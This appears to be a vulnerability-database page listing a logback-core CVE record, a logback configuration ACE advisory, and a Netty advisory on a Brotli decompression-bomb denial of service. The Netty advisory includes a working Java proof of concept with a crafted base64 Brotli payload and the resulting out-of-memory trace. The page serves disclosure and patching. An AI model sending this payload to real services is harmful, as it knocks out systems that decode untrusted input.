| QOS.CH Sarl | Logback-core |
Affected:
0.9.20 , ≤ 1.5.24
(maven)
Unaffected: 1.5.25 |
Credits
https://www.code-intelligence.com/
Google Fuzz
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2026-1225",
"options": [
{
"Exploitation": "none"
},
{
"Automatable": "no"
},
{
"Technical Impact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-01-22T14:14:09.436515Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-01-22T14:14:17.842Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"defaultStatus": "unknown",
"modules": [
"logback-core",
"logback-classic"
],
"platforms": [
"Java"
],
"product": "Logback-core",
"vendor": "QOS.CH Sarl",
"versions": [
{
"lessThanOrEqual": "1.5.24",
"status": "affected",
"version": "0.9.20",
"versionType": "maven"
},
{
"status": "unaffected",
"version": "1.5.25"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "https://www.code-intelligence.com/"
},
{
"lang": "en",
"type": "finder",
"value": "Google Fuzz"
}
],
"descriptions": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "\u003cdiv\u003eACE vulnerability in configuration file processing by QOS.CH logback-core up to and including version 1.5.24 in Java applications, allows an attacker to instantiate classes already present on the class path by compromising an existing logback configuration file.\u003c/div\u003e\u003cdiv\u003e\u003cbr\u003e\u003c/div\u003e\u003cdiv\u003eThe instantiation of a potentially malicious Java class requires that said class is present on the user\u0027s class-path. In addition, the attacker must have write access to a \nconfiguration file. However, after successful instantiation, the instance is very likely to be discarded with no further ado.\u003c/div\u003e"
}
],
"value": "ACE vulnerability in configuration file processing by QOS.CH logback-core up to and including version 1.5.24 in Java applications, allows an attacker to instantiate classes already present on the class path by compromising an existing logback configuration file.\n\n\n\n\nThe instantiation of a potentially malicious Java class requires that said class is present on the user\u0027s class-path. In addition, the attacker must have write access to a \nconfiguration file. However, after successful instantiation, the instance is very likely to be discarded with no further ado."
}
],
"exploits": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "No known exploitation\u003cbr\u003e"
}
],
"value": "No known exploitation"
}
],
"impacts": [
{
"descriptions": [
{
"lang": "en",
"value": "Arbitrary code execution on previously compromised system"
}
]
},
{
"capecId": "CAPEC-242",
"descriptions": [
{
"lang": "en",
"value": "CAPEC-242 Code Injection"
}
]
}
],
"metrics": [
{
"cvssV4_0": {
"Automatable": "NO",
"Recovery": "NOT_DEFINED",
"Safety": "NEGLIGIBLE",
"attackComplexity": "HIGH",
"attackRequirements": "PRESENT",
"attackVector": "LOCAL",
"baseScore": 1.8,
"baseSeverity": "LOW",
"exploitMaturity": "NOT_DEFINED",
"privilegesRequired": "HIGH",
"providerUrgency": "GREEN",
"subAvailabilityImpact": "LOW",
"subConfidentialityImpact": "LOW",
"subIntegrityImpact": "LOW",
"userInteraction": "NONE",
"valueDensity": "NOT_DEFINED",
"vectorString": "CVSS:4.0/AV:L/AC:H/AT:P/PR:H/UI:N/VC:L/VI:L/VA:L/SC:L/SI:L/SA:L/S:N/AU:N/RE:M/U:Green",
"version": "4.0",
"vulnAvailabilityImpact": "LOW",
"vulnConfidentialityImpact": "LOW",
"vulnIntegrityImpact": "LOW",
"vulnerabilityResponseEffort": "MODERATE"
},
"format": "CVSS",
"scenarios": [
{
"lang": "en",
"value": "GENERAL"
}
]
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-20",
"description": "CWE-20 Improper Input Validation",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-01-22T12:10:39.562Z",
"orgId": "455daabc-a392-441d-aa46-37d35189897c",
"shortName": "NCSC.ch"
},
"references": [
{
"url": "https://logback.qos.ch/news.html#1.5.25"
}
],
"solutions": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "Update to logback version 1.5.25 or later. \u003cbr\u003e"
}
],
"value": "Update to logback version 1.5.25 or later."
}
],
"source": {
"discovery": "UNKNOWN"
},
"title": "Malicious logback.xml configuration file allows instantiation of arbitrary classes",
"x_generator": {
"engine": "Vulnogram 0.2.0"
}
}
},
"cveMetadata": {
"assignerOrgId": "455daabc-a392-441d-aa46-37d35189897c",
"assignerShortName": "NCSC.ch",
"cveId": "CVE-2026-1225",
"datePublished": "2026-01-22T09:24:14.634Z",
"dateReserved": "2026-01-20T12:29:25.357Z",
"dateUpdated": "2026-01-22T14:14:17.842Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
GHSA-25QH-J22F-PWP8
Vulnerability from github – Published: 2025-10-01 09:30 – Updated: 2025-10-31 20:17
VLAI
Summary
QOS.CH logback-core is vulnerable to Arbitrary Code Execution through file processing
Details
QOS.CH logback-core versions up to 1.5.18 contain an ACE vulnerability in conditional configuration file processing in Java applications. This vulnerability allows an attacker to execute arbitrary code by compromising an existing logback configuration file or by injecting a malicious environment variable before program execution.
A successful attack requires the Janino library and Spring Framework to be present on the user's class path. Additionally, the attacker must have write access to a configuration file. Alternatively, the attacker could inject a malicious environment variable pointing to a malicious configuration file. In both cases, the attack requires existing privileges.
Severity
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "ch.qos.logback:logback-core"
},
"ranges": [
{
"events": [
{
"introduced": "1.4.0"
},
{
"fixed": "1.5.19"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "ch.qos.logback:logback-core"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.3.16"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-11226"
],
"database_specific": {
"cwe_ids": [
"CWE-20"
],
"github_reviewed": true,
"github_reviewed_at": "2025-10-21T21:10:11Z",
"nvd_published_at": "2025-10-01T08:15:31Z",
"severity": "MODERATE"
},
"details": "QOS.CH logback-core versions up to 1.5.18 contain an ACE vulnerability in conditional configuration file processing in Java applications. This vulnerability allows an attacker to execute arbitrary code by compromising an existing logback configuration file or by injecting a malicious environment variable before program execution.\n\nA successful attack requires the Janino library and Spring Framework to be present on the user\u0027s class path. Additionally, the attacker must have write access to a configuration file. Alternatively, the attacker could inject a malicious environment variable pointing to a malicious configuration file. In both cases, the attack requires existing privileges.",
"id": "GHSA-25qh-j22f-pwp8",
"modified": "2025-10-31T20:17:45Z",
"published": "2025-10-01T09:30:24Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-11226"
},
{
"type": "WEB",
"url": "https://github.com/qos-ch/logback/issues/974"
},
{
"type": "WEB",
"url": "https://github.com/qos-ch/logback/commit/61f6a2544f36b3016e0efd434ee21f19269f1df7"
},
{
"type": "PACKAGE",
"url": "https://github.com/qos-ch/logback"
},
{
"type": "WEB",
"url": "https://github.com/qos-ch/logback/releases/tag/v_1.5.19"
},
{
"type": "WEB",
"url": "https://logback.qos.ch/news.html#1.3.16"
},
{
"type": "WEB",
"url": "https://logback.qos.ch/news.html#1.5.19"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:L/AC:L/AT:P/PR:H/UI:P/VC:H/VI:L/VA:L/SC:H/SI:L/SA:L",
"type": "CVSS_V4"
}
],
"summary": "QOS.CH logback-core is vulnerable to Arbitrary Code Execution through file processing"
}
GHSA-3P8M-J85Q-PGMJ
Vulnerability from github – Published: 2025-09-03 18:00 – Updated: 2025-09-04 13:51
VLAI
Summary
Netty's decoders vulnerable to DoS via zip bomb style attack
Details
Summary
With specially crafted input, BrotliDecoder and some other decompressing decoders will allocate a large number of reachable byte buffers, which can lead to denial of service.
Details
BrotliDecoder.decompress has no limit in how often it calls pull, decompressing data 64K bytes at a time. The buffers are saved in the output list, and remain reachable until OOM is hit. This is basically a zip bomb.
Tested on 4.1.118, but there were no changes to the decoder since.
PoC
Run this test case with -Xmx1G:
import io.netty.buffer.Unpooled;
import io.netty.channel.embedded.EmbeddedChannel;
import java.util.Base64;
public class T {
public static void main(String[] args) {
EmbeddedChannel channel = new EmbeddedChannel(new BrotliDecoder());
channel.writeInbound(Unpooled.wrappedBuffer(Base64.getDecoder().decode("aPpxD1tETigSAGj6cQ8vRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROMBIAEgIaHwBETlQQVFcXlgA=")));
}
}
Error:
Exception in thread "main" java.lang.OutOfMemoryError: Cannot reserve 4194304 bytes of direct buffer memory (allocated: 1069580289, limit: 1073741824)
at java.base/java.nio.Bits.reserveMemory(Bits.java:178)
at java.base/java.nio.DirectByteBuffer.<init>(DirectByteBuffer.java:121)
at java.base/java.nio.ByteBuffer.allocateDirect(ByteBuffer.java:332)
at io.netty.buffer.PoolArena$DirectArena.allocateDirect(PoolArena.java:718)
at io.netty.buffer.PoolArena$DirectArena.newChunk(PoolArena.java:693)
at io.netty.buffer.PoolArena.allocateNormal(PoolArena.java:213)
at io.netty.buffer.PoolArena.tcacheAllocateNormal(PoolArena.java:195)
at io.netty.buffer.PoolArena.allocate(PoolArena.java:137)
at io.netty.buffer.PoolArena.allocate(PoolArena.java:127)
at io.netty.buffer.PooledByteBufAllocator.newDirectBuffer(PooledByteBufAllocator.java:403)
at io.netty.buffer.AbstractByteBufAllocator.directBuffer(AbstractByteBufAllocator.java:188)
at io.netty.buffer.AbstractByteBufAllocator.directBuffer(AbstractByteBufAllocator.java:179)
at io.netty.buffer.AbstractByteBufAllocator.buffer(AbstractByteBufAllocator.java:116)
at io.netty.handler.codec.compression.BrotliDecoder.pull(BrotliDecoder.java:70)
at io.netty.handler.codec.compression.BrotliDecoder.decompress(BrotliDecoder.java:101)
at io.netty.handler.codec.compression.BrotliDecoder.decode(BrotliDecoder.java:137)
at io.netty.handler.codec.ByteToMessageDecoder.decodeRemovalReentryProtection(ByteToMessageDecoder.java:530)
at io.netty.handler.codec.ByteToMessageDecoder.callDecode(ByteToMessageDecoder.java:469)
at io.netty.handler.codec.ByteToMessageDecoder.channelRead(ByteToMessageDecoder.java:290)
at io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:444)
at io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:420)
at io.netty.channel.AbstractChannelHandlerContext.fireChannelRead(AbstractChannelHandlerContext.java:412)
at io.netty.channel.DefaultChannelPipeline$HeadContext.channelRead(DefaultChannelPipeline.java:1357)
at io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:440)
at io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:420)
at io.netty.channel.DefaultChannelPipeline.fireChannelRead(DefaultChannelPipeline.java:868)
at io.netty.channel.embedded.EmbeddedChannel.writeInbound(EmbeddedChannel.java:348)
at io.netty.handler.codec.compression.T.main(T.java:11)
Impact
DoS for anyone using BrotliDecoder on untrusted input.
Severity
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-codec-compression"
},
"ranges": [
{
"events": [
{
"introduced": "4.2.0.Alpha1"
},
{
"fixed": "4.2.5.Final"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-codec"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.1.125.Final"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-58057"
],
"database_specific": {
"cwe_ids": [
"CWE-409"
],
"github_reviewed": true,
"github_reviewed_at": "2025-09-03T18:00:55Z",
"nvd_published_at": "2025-09-04T10:42:32Z",
"severity": "MODERATE"
},
"details": "### Summary\n\nWith specially crafted input, `BrotliDecoder` and some other decompressing decoders will allocate a large number of reachable byte buffers, which can lead to denial of service.\n\n### Details\n\n`BrotliDecoder.decompress` has no limit in how often it calls `pull`, decompressing data 64K bytes at a time. The buffers are saved in the output list, and remain reachable until OOM is hit. This is basically a zip bomb.\n\nTested on 4.1.118, but there were no changes to the decoder since.\n\n### PoC\n\nRun this test case with `-Xmx1G`:\n\n```java\nimport io.netty.buffer.Unpooled;\nimport io.netty.channel.embedded.EmbeddedChannel;\n\nimport java.util.Base64;\n\npublic class T {\n public static void main(String[] args) {\n EmbeddedChannel channel = new EmbeddedChannel(new BrotliDecoder());\n channel.writeInbound(Unpooled.wrappedBuffer(Base64.getDecoder().decode(\"aPpxD1tETigSAGj6cQ8vRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROMBIAEgIaHwBETlQQVFcXlgA=\")));\n }\n}\n```\n\nError:\n\n```\nException in thread \"main\" java.lang.OutOfMemoryError: Cannot reserve 4194304 bytes of direct buffer memory (allocated: 1069580289, limit: 1073741824)\n\tat java.base/java.nio.Bits.reserveMemory(Bits.java:178)\n\tat java.base/java.nio.DirectByteBuffer.\u003cinit\u003e(DirectByteBuffer.java:121)\n\tat java.base/java.nio.ByteBuffer.allocateDirect(ByteBuffer.java:332)\n\tat io.netty.buffer.PoolArena$DirectArena.allocateDirect(PoolArena.java:718)\n\tat io.netty.buffer.PoolArena$DirectArena.newChunk(PoolArena.java:693)\n\tat io.netty.buffer.PoolArena.allocateNormal(PoolArena.java:213)\n\tat io.netty.buffer.PoolArena.tcacheAllocateNormal(PoolArena.java:195)\n\tat io.netty.buffer.PoolArena.allocate(PoolArena.java:137)\n\tat io.netty.buffer.PoolArena.allocate(PoolArena.java:127)\n\tat io.netty.buffer.PooledByteBufAllocator.newDirectBuffer(PooledByteBufAllocator.java:403)\n\tat io.netty.buffer.AbstractByteBufAllocator.directBuffer(AbstractByteBufAllocator.java:188)\n\tat io.netty.buffer.AbstractByteBufAllocator.directBuffer(AbstractByteBufAllocator.java:179)\n\tat io.netty.buffer.AbstractByteBufAllocator.buffer(AbstractByteBufAllocator.java:116)\n\tat io.netty.handler.codec.compression.BrotliDecoder.pull(BrotliDecoder.java:70)\n\tat io.netty.handler.codec.compression.BrotliDecoder.decompress(BrotliDecoder.java:101)\n\tat io.netty.handler.codec.compression.BrotliDecoder.decode(BrotliDecoder.java:137)\n\tat io.netty.handler.codec.ByteToMessageDecoder.decodeRemovalReentryProtection(ByteToMessageDecoder.java:530)\n\tat io.netty.handler.codec.ByteToMessageDecoder.callDecode(ByteToMessageDecoder.java:469)\n\tat io.netty.handler.codec.ByteToMessageDecoder.channelRead(ByteToMessageDecoder.java:290)\n\tat io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:444)\n\tat io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:420)\n\tat io.netty.channel.AbstractChannelHandlerContext.fireChannelRead(AbstractChannelHandlerContext.java:412)\n\tat io.netty.channel.DefaultChannelPipeline$HeadContext.channelRead(DefaultChannelPipeline.java:1357)\n\tat io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:440)\n\tat io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:420)\n\tat io.netty.channel.DefaultChannelPipeline.fireChannelRead(DefaultChannelPipeline.java:868)\n\tat io.netty.channel.embedded.EmbeddedChannel.writeInbound(EmbeddedChannel.java:348)\n\tat io.netty.handler.codec.compression.T.main(T.java:11)\n```\n\n### Impact\n\nDoS for anyone using `BrotliDecoder` on untrusted input.",
"id": "GHSA-3p8m-j85q-pgmj",
"modified": "2025-09-04T13:51:43Z",
"published": "2025-09-03T18:00:55Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/netty/netty/security/advisories/GHSA-3p8m-j85q-pgmj"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-58057"
},
{
"type": "WEB",
"url": "https://github.com/netty/netty/commit/9d804c54ce962408ae6418255a83a13924f7145d"
},
{
"type": "PACKAGE",
"url": "https://github.com/netty/netty"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Netty\u0027s decoders vulnerable to DoS via zip bomb style attack"
}
Loading…
Trend slope:
-
(linear fit over daily sighting counts)
Show additional events:
Loading…
Experimental. This forecast is provided for visualization only and may change without notice. Do not use it for operational decisions.
Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Loading…
Loading…